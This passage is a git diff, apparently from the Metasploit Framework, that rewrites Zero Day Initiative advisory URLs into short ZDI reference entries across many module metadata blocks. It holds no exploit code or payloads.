2 +- .../scanner/http/hp_sitescope_getfileinternal_fileaccess.rb | 2 +- .../scanner/http/hp_sitescope_getsitescopeconfiguration.rb | 2 +- .../scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb | 2 +- modules/auxiliary/scanner/http/tomcat_mgr_login.rb | 4 ++-- modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb | 2 +- modules/exploits/linux/http/pineapp_livelog_exec.rb | 2 +- modules/exploits/linux/http/pineapp_test_li_conn_exec.rb | 2 +- modules/exploits/linux/http/symantec_web_gateway_exec.rb | 2 +- .../exploits/linux/http/symantec_web_gateway_file_upload.rb | 2 +- modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb | 2 +- modules/exploits/linux/misc/hp_vsa_login_bof.rb | 2 +- modules/exploits/linux/samba/setinfopolicy_heap.rb | 2 +- modules/exploits/multi/browser/java_getsoundbank_bof.rb | 2 +- modules/exploits/multi/browser/java_jre17_driver_manager.rb | 2 +- modules/exploits/multi/browser/java_rhino.rb | 2 +- modules/exploits/multi/browser/java_setdifficm_bof.rb | 2 +- modules/exploits/multi/browser/qtjava_pointer.rb | 2 +- .../exploits/multi/http/hp_sitescope_uploadfileshandler.rb | 4 ++-- modules/exploits/multi/http/tomcat_mgr_deploy.rb | 2 +- modules/exploits/multi/http/zenworks_control_center_upload.rb | 2 +- modules/exploits/multi/misc/zend_java_bridge.rb | 2 +- modules/exploits/netware/sunrpc/pkernel_callit.rb | 2 +- modules/exploits/windows/antivirus/ams_xfr.rb | 2 +- modules/exploits/windows/brightstor/mediasrv_sunrpc.rb | 2 +- modules/exploits/windows/browser/adobe_flash_sps.rb | 2 +- modules/exploits/windows/browser/adobe_geticon.rb | 2 +- modules/exploits/windows/browser/aol_icq_downloadagent.rb | 2 +- modules/exploits/windows/browser/apple_quicktime_rdrf.rb | 2 +- modules/exploits/windows/browser/clear_quest_cqole.rb | 2 +- .../windows/browser/hp_alm_xgo_setshapenodetype_exec.rb | 2 +- .../windows/browser/hp_easy_printer_care_xmlcachemgr.rb | 2 +- .../windows/browser/hp_easy_printer_care_xmlsimpleaccessor.rb | 2 +- .../exploits/windows/browser/hp_loadrunner_writefilebinary.rb | 2 +- .../exploits/windows/browser/hp_loadrunner_writefilestring.rb | 2 +- modules/exploits/windows/browser/ibm_spss_c1sizer.rb | 2 +- .../exploits/windows/browser/ibm_tivoli_pme_activex_bof.rb | 2 +- .../browser/indusoft_issymbol_internationalseparator.rb | 2 +- modules/exploits/windows/browser/inotes_dwa85w_bof.rb | 2 +- modules/exploits/windows/browser/java_codebase_trust.rb | 2 +- modules/exploits/windows/browser/java_docbase_bof.rb | 2 +- modules/exploits/windows/browser/java_mixer_sequencer.rb | 2 +- .../exploits/windows/browser/keyhelp_launchtripane_exec.rb | 2 +- .../exploits/windows/browser/mozilla_attribchildremoved.rb | 2 +- .../exploits/windows/browser/mozilla_firefox_xmlserializer.rb | 2 +- modules/exploits/windows/browser/mozilla_nssvgvalue.rb | 2 +- modules/exploits/windows/browser/mozilla_nstreerange.rb | 2 +- modules/exploits/windows/browser/ms10_002_ie_object.rb | 2 +- .../exploits/windows/browser/ms10_018_ie_tabular_activex.rb | 2 +- .../exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 4 ++-- modules/exploits/windows/browser/ms13_069_caret.rb | 2 +- modules/exploits/windows/browser/notes_handler_cmdinject.rb | 2 +- .../exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb | 2 +- .../windows/browser/novelliprint_getdriversettings_2.rb | 2 +- .../windows/browser/oracle_webcenter_checkoutandopen.rb | 2 +- modules/exploits/windows/browser/quickr_qp2_bof.rb | 2 +- modules/exploits/windows/browser/realplayer_cdda_uri.rb | 2 +- modules/exploits/windows/browser/realplayer_qcp.rb | 2 +- modules/exploits/windows/browser/trendmicro_extsetowner.rb | 2 +- .../exploits/windows/browser/zenworks_helplauncher_exec.rb | 2 +- modules/exploits/windows/fileformat/adobe_geticon.rb | 2 +- modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb | 2 +- modules/exploits/windows/fileformat/apple_quicktime_texml.rb | 2 +- modules/exploits/windows/fileformat/ca_cab.rb | 2 +- modules/exploits/windows/fileformat/mcafee_showreport_exec.rb | 2 +- .../exploits/windows/fileformat/ms09_067_excel_featheader.rb | 2 +- modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb | 2 +- modules/exploits/windows/fileformat/ms11_021_xlb_bof.rb | 2 +- modules/exploits/windows/http/adobe_robohelper_authbypass.rb | 2 +- modules/exploits/windows/http/apache_modjk_overflow.rb | 2 +- modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb | 2 +- .../windows/http/ca_totaldefense_regeneratereports.rb | 2 +- .../windows/http/cogent_datahub_request_headers_bof.rb | 2 +- modules/exploits/windows/http/hp_imc_bims_upload.rb | 2 +- modules/exploits/windows/http/hp_imc_mibfileupload.rb | 2 +- modules/exploits/windows/http/hp_mpa_job_acct.rb | 2 +- .../exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb | 2 +- .../exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb | 2 +- modules/exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb | 2 +- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb | 2 +- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb | 2 +- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb | 2 +- modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb | 2 +- modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb | 2 +- .../exploits/windows/http/hp_pcm_snac_update_certificates.rb | 2 +- modules/exploits/windows/http/hp_pcm_snac_update_domain.rb | 2 +- .../exploits/windows/http/hp_sitescope_runomagentcommand.rb | 2 +- modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb | 2 +- modules/exploits/windows/http/novell_imanager_upload.rb | 2 +- modules/exploits/windows/http/novell_mdm_lfi.rb | 2 +- modules/exploits/windows/http/oracle_endeca_exec.rb | 2 +- modules/exploits/windows/http/osb_uname_jlist.rb | 2 +- .../exploits/windows/http/vmware_vcenter_chargeback_upload.rb | 2 +- .../exploits/windows/http/zenworks_assetmgmt_uploadservlet.rb | 2 +- modules/exploits/windows/http/zenworks_uploadservlet.rb | 2 +- modules/exploits/windows/imap/novell_netmail_append.rb | 2 +- modules/exploits/windows/license/flexnet_lmgrd_bof.rb | 2 +- modules/exploits/windows/lotus/domino_icalendar_organizer.rb | 2 +- modules/exploits/windows/lotus/domino_sametime_stmux.rb | 2 +- modules/exploits/windows/misc/citrix_streamprocess.rb | 2 +- .../exploits/windows/misc/citrix_streamprocess_data_msg.rb | 2 +- .../exploits/windows/misc/citrix_streamprocess_get_objects.rb | 2 +- modules/exploits/windows/misc/eiqnetworks_esa.rb | 2 +- .../exploits/windows/misc/enterasys_netsight_syslog_bof.rb | 2 +- modules/exploits/windows/misc/hp_dataprotector_crs.rb | 2 +- modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb | 2 +- modules/exploits/windows/misc/hp_imc_uam.rb | 2 +- modules/exploits/windows/misc/hp_loadrunner_magentproc.rb | 2 +- modules/exploits/windows/misc/hp_magentservice.rb | 2 +- modules/exploits/windows/misc/hp_omniinet_1.rb | 2 +- modules/exploits/windows/misc/hp_omniinet_2.rb | 2 +- modules/exploits/windows/misc/hp_operations_agent_coda_34.rb | 2 +- modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb | 2 +- modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb | 2 +- modules/exploits/windows/misc/ms10_104_sharepoint.rb | 2 +- .../exploits/windows/misc/trendmicro_cmdprocessor_addtask.rb | 2 +- modules/exploits/windows/novell/zenworks_preboot_op21_bof.rb | 2 +- modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb | 2 +- .../exploits/windows/oracle/client_system_analyzer_upload.rb | 2 +- modules/exploits/windows/scada/indusoft_webstudio_exec.rb | 2 +- 129 files changed, 133 insertions(+), 133 deletions(-) diff --git a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb index 420fa97116..3dd5f04a30 100644 --- a/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb +++ b/modules/auxiliary/admin/hp/hp_data_protector_cmd.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2011-0923' ], [ 'OSVDB', '72526' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/' ], + [ 'ZDI', '11-055' ], [ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html' ], [ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux' ] ], diff --git a/modules/auxiliary/admin/oracle/osb_execqr.rb b/modules/auxiliary/admin/oracle/osb_execqr.rb index 319cabc7dd..4a041348f8 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2008-5448' ], [ 'OSVDB', '51342' ], [ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-003' ], + [ 'ZDI', '09-003' ], ], 'DisclosureDate' => 'Jan 14 2009')) diff --git a/modules/auxiliary/admin/oracle/osb_execqr2.rb b/modules/auxiliary/admin/oracle/osb_execqr2.rb index 10cd96d781..261ab2395a 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr2.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr2.rb @@ -26,8 +26,8 @@ class Metasploit3 < Msf::Auxiliary [ 'OSVDB', '55903' ], [ 'CVE', '2009-1978' ], [ 'OSVDB', '55904' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-058' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-059' ], + [ 'ZDI', '09-058' ], + [ 'ZDI', '09-059' ], ], 'DisclosureDate' => 'Aug 18 2009')) diff --git a/modules/auxiliary/admin/oracle/osb_execqr3.rb b/modules/auxiliary/admin/oracle/osb_execqr3.rb index 7a3b043799..06264af018 100644 --- a/modules/auxiliary/admin/oracle/osb_execqr3.rb +++ b/modules/auxiliary/admin/oracle/osb_execqr3.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2010-0904' ], [ 'OSVDB', '66338'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-118' ], + [ 'ZDI', '10-118' ], ], 'DisclosureDate' => 'Jul 13 2010')) diff --git a/modules/auxiliary/admin/serverprotect/file.rb b/modules/auxiliary/admin/serverprotect/file.rb index ea78adae63..02c29e28e4 100644 --- a/modules/auxiliary/admin/serverprotect/file.rb +++ b/modules/auxiliary/admin/serverprotect/file.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary [ [ 'CVE', '2007-6507' ], [ 'OSVDB', '44318' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-077.html'], + [ 'ZDI', '07-077'], ], 'Actions' => [ diff --git a/modules/auxiliary/admin/zend/java_bridge.rb b/modules/auxiliary/admin/zend/java_bridge.rb index bfd94598e1..ec7d672d84 100644 --- a/modules/auxiliary/admin/zend/java_bridge.rb +++ b/modules/auxiliary/admin/zend/java_bridge.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Auxiliary 'References' => [ [ 'OSVDB', '71420'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/' ], + [ 'ZDI', '11-113' ], [ 'EDB', '17078' ], ], 'DisclosureDate' => 'Mar 28 2011')) diff --git a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb index c6e82585b2..aa3f8d162f 100644 --- a/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2013-4823' ], [ 'OSVDB', '98248' ], [ 'BID', '62897' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-239/' ] + [ 'ZDI', '13-239' ] ] )) diff --git a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb index 73bd88ee71..e2fb7b6c70 100644 --- a/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2012-5202' ], [ 'OSVDB', '91027' ], [ 'BID', '58675' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-051/' ] + [ 'ZDI', '13-051' ] ] )) diff --git a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb index 415b7e73c5..2bed6856e2 100644 --- a/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2012-5204' ], [ 'OSVDB', '91029' ], [ 'BID', '58676' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-053/' ] + [ 'ZDI', '13-053' ] ] )) diff --git a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb index ca04b63480..2f0dee051d 100644 --- a/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb +++ b/modules/auxiliary/scanner/http/hp_imc_reportimgservlt_traversal.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2012-5203' ], [ 'OSVDB', '91028' ], [ 'BID', '58672' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-052/' ] + [ 'ZDI', '13-052' ] ] )) diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb index f05fa7eb17..f106012c11 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess.rb @@ -25,7 +25,7 @@ class Metasploit4 < Msf::Auxiliary [ [ 'OSVDB', '85119' ], [ 'BID', '55269' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-176/' ] + [ 'ZDI', '12-176' ] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb index 5d469297d3..fbff7d1784 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_getsitescopeconfiguration.rb @@ -27,7 +27,7 @@ class Metasploit4 < Msf::Auxiliary [ [ 'OSVDB', '85120' ], [ 'BID', '55269' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-173/' ] + [ 'ZDI', '12-173' ] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb index c5c2573377..41ae7de512 100644 --- a/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb +++ b/modules/auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess.rb @@ -25,7 +25,7 @@ class Metasploit4 < Msf::Auxiliary [ [ 'OSVDB', '85118' ], [ 'BID', '55269' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-177/' ] + [ 'ZDI', '12-177' ] ], 'Author' => [ diff --git a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb index 7e63b5b5ca..92c6141166 100644 --- a/modules/auxiliary/scanner/http/tomcat_mgr_login.rb +++ b/modules/auxiliary/scanner/http/tomcat_mgr_login.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary [ 'CVE', '2009-4189' ], [ 'OSVDB', '60670' ], [ 'URL', 'http://www.harmonysecurity.com/blog/2009/11/hp-operations-manager-backdoor-account.html' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-085/' ], + [ 'ZDI', '09-085' ], # HP Default Operations Dashboard user/pass [ 'CVE', '2009-4188' ], @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary # IBM Rational Quality Manager and Test Lab Manager [ 'CVE', '2010-4094' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ], + [ 'ZDI', '10-214' ], # 'admin' password is blank in default Windows installer [ 'CVE', '2009-3548' ], diff --git a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb index 1f18ebc1d2..1db241e608 100644 --- a/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb +++ b/modules/exploits/linux/http/pineapp_ldapsyncnow_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-185/' ], + [ 'ZDI', '13-185' ], [ 'OSVDB', '95781' ] ], 'Platform' => ['unix'], diff --git a/modules/exploits/linux/http/pineapp_livelog_exec.rb b/modules/exploits/linux/http/pineapp_livelog_exec.rb index 6a08fb4f82..4d13b0dcbd 100644 --- a/modules/exploits/linux/http/pineapp_livelog_exec.rb +++ b/modules/exploits/linux/http/pineapp_livelog_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-184/'], + [ 'ZDI', '13-184'], [ 'OSVDB', '95779'] ], 'Platform' => ['unix'], diff --git a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb index b7b3f15e6d..accf593b61 100644 --- a/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb +++ b/modules/exploits/linux/http/pineapp_test_li_conn_exec.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-188/'], + [ 'ZDI', '13-188'], [ 'OSVDB', '95782'] ], 'Platform' => ['unix'], diff --git a/modules/exploits/linux/http/symantec_web_gateway_exec.rb b/modules/exploits/linux/http/symantec_web_gateway_exec.rb index 97b6945af9..11a2eabf7d 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_exec.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_exec.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0297' ], [ 'OSVDB', '82925' ], [ 'BID', '53444' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ], + [ 'ZDI', '12-090' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ] ], 'Payload' => diff --git a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index ab93322b63..454406d508 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2012-0299' ], [ 'OSVDB', '82025' ], [ 'BID', '53443' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-091' ], + [ 'ZDI', '12-091' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ] ], 'Payload' => diff --git a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb index 7ad0a683b9..5302d5b0a3 100644 --- a/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb +++ b/modules/exploits/linux/misc/hp_data_protector_cmd_exec.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2011-0923'], [ 'OSVDB', '72526'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-055/'], + [ 'ZDI', '11-055'], [ 'URL', 'http://c4an-dl.blogspot.com/hp-data-protector-vuln.html'], [ 'URL', 'http://hackarandas.com/blog/2011/08/04/hp-data-protector-remote-shell-for-hpux'], [ 'URL', 'https://community.rapid7.com/thread/2253' ] diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index 49aecace33..adbecb1bbd 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Remote [ ['CVE', '2013-2343'], ['OSVDB', '94701'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-179/'], + ['ZDI', '13-179'], ['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03661318'] ], 'Payload' => diff --git a/modules/exploits/linux/samba/setinfopolicy_heap.rb b/modules/exploits/linux/samba/setinfopolicy_heap.rb index a4d693c99e..eb465fbe83 100644 --- a/modules/exploits/linux/samba/setinfopolicy_heap.rb +++ b/modules/exploits/linux/samba/setinfopolicy_heap.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2012-1182'], ['OSVDB', '81303'], ['BID', '52973'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-069/'] + ['ZDI', '12-069'] ], 'Privileged' => true, 'Payload' => diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index c0706f0595..6dfe3c506c 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2009-3867' ], [ 'OSVDB', '59711' ], [ 'BID', '36881' ], - [ 'URL', 'http://zerodayinitiative.com/advisories/ZDI-09-076/' ] + [ 'ZDI', '09-076' ] ], 'Payload' => { diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index 3eee3b70c8..aaef9eeedc 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'BID', '58504' ], [ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ], [ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-076/' ] + [ 'ZDI', '13-076' ] ], 'Platform' => %w{ java linux osx win }, 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, diff --git a/modules/exploits/multi/browser/java_rhino.rb b/modules/exploits/multi/browser/java_rhino.rb index 56386df0ab..d2bdcb327b 100644 --- a/modules/exploits/multi/browser/java_rhino.rb +++ b/modules/exploits/multi/browser/java_rhino.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'CVE', '2011-3544' ], [ 'OSVDB', '76500' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ], + [ 'ZDI', '11-305' ], [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ], ], 'Platform' => %w{ java linux win }, diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index cc22766356..ad850d2ac5 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '59710' ], [ 'BID', '36881' ], [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-270474-1' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-078/' ], + [ 'ZDI', '09-078' ], ], 'Payload' => { diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index 97ff9744ed..7b8e6d990c 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ['CVE', '2007-2175'], ['OSVDB', '34178'], ['BID', '23608'], - ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-023.html'], + ['ZDI', '07-023'], ], 'Payload' => { diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 8baedbadfe..5432929725 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -37,8 +37,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'OSVDB', '85151' ], [ 'BID', '55269' ], [ 'BID', '55273' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-174/' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-175/' ] + [ 'ZDI', '12-174' ], + [ 'ZDI', '12-175' ] ], 'Privileged' => true, 'Platform' => %w{ linux win }, diff --git a/modules/exploits/multi/http/tomcat_mgr_deploy.rb b/modules/exploits/multi/http/tomcat_mgr_deploy.rb index f3bf808b21..1e3a9888d1 100644 --- a/modules/exploits/multi/http/tomcat_mgr_deploy.rb +++ b/modules/exploits/multi/http/tomcat_mgr_deploy.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote # IBM Rational Quality Manager and Test Lab Manager [ 'CVE', '2010-4094' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-214/' ], + [ 'ZDI', '10-214' ], # 'admin' password is blank in default Windows installer [ 'CVE', '2009-3548' ], diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index 7e31956208..eb09d6371c 100644 --- a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2013-1080' ], [ 'BID', '58668' ], [ 'OSVDB', '91627' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-049/' ], + [ 'ZDI', '13-049' ], [ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7011812' ] ], 'Privileged' => false, diff --git a/modules/exploits/multi/misc/zend_java_bridge.rb b/modules/exploits/multi/misc/zend_java_bridge.rb index 46ef5e1ce5..3abfc02b98 100644 --- a/modules/exploits/multi/misc/zend_java_bridge.rb +++ b/modules/exploits/multi/misc/zend_java_bridge.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'OSVDB', '71420'], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'], + [ 'ZDI', '11-113'], [ 'EDB', '17078' ], ], 'Platform' => ['java'], # win diff --git a/modules/exploits/netware/sunrpc/pkernel_callit.rb b/modules/exploits/netware/sunrpc/pkernel_callit.rb index c810cc2a65..c94bbd5ff3 100644 --- a/modules/exploits/netware/sunrpc/pkernel_callit.rb +++ b/modules/exploits/netware/sunrpc/pkernel_callit.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote # There is no CVE for this vulnerability [ 'BID', '36564' ], [ 'OSVDB', '58447' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-067/' ], + [ 'ZDI', '09-067' ], ], 'Privileged' => true, 'Payload' => diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 73a54ae645..1148ae14c0 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'CVE', '2009-1429' ], [ 'BID', '34671' ], [ 'OSVDB', '54157' ], - [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-060/' ], + [ 'ZDI', '09-060' ], [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ] ], 'Targets' => diff --git 